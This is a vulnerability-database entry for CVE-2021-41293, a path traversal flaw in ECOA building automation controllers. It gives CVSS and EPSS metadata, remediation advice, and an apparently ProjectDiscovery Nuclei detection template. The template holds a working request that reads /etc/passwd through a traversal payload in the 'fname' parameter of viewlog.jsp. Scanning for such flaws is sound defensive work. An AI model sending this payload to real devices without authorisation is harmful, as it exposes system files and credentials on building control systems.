SecurityContext

CVE-2021-41293: ECOA Building Automation System - Arbitrary File Retrieval

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.19867
  • Epss percentile: 0.97484
  • Cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: ecs_router_controller-ecs_firmware
  • Vendor: ecoa

Products

ProductIndexedUrl
ecoa:ecs_router_controller-ecs_firmwareyes/v1/products/ecoa/ecs_router_controller-ecs_firmware

Labels

  • Name: ECOA BAS Controller - Path Traversal
  • Impact: Attackers can access sensitive files and system information, potentially leading to further exploitation or system compromise.
  • Remediation: Implement input validation and sanitization for 'fname' parameter; update to the latest firmware version if available.
  • Vulnerability type: path_traversal
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-41293
  • Not known: requirements

```yaml

id: CVE-2021-41293

info:

name: ECOA Building Automation System - Arbitrary File Retrieval

author: 0x_Akoko

severity: high

description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.

impact: |

Unauthenticated attackers can read arbitrary files from the ECOA BAS controller including /etc/passwd via path traversal in the fname parameter, potentially exposing sensitive system configuration and credentials.

remediation: |

Apply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2021-41293

- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php

- https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2021-41293

cwe-id: CWE-22

epss-score: 0.19867

epss-percentile: 0.97484

cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: ecoa

product: ecs_router_controller-ecs_firmware

tags: cve2021,cve,ecoa,lfi,disclosure,vkev,vuln

http:

- raw:

- |

POST /viewlog.jsp HTTP/1.1

Host: {{Hostname}}

yr=2021&mh=6&fname=../../../../../../../../etc/passwd

matchers-condition: and

matchers:

- type: regex

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 490a00463044022079a1bf3f9ce1eddbc13c6c8a62b494a2d4b4d12f80c1eef37b6188827154febc02202cb30bca8bc303cf924db347bc6bc218bb17b31cfa57a4cbc075956659d87b76:922c64590222798bb761d5b6d8e72950

```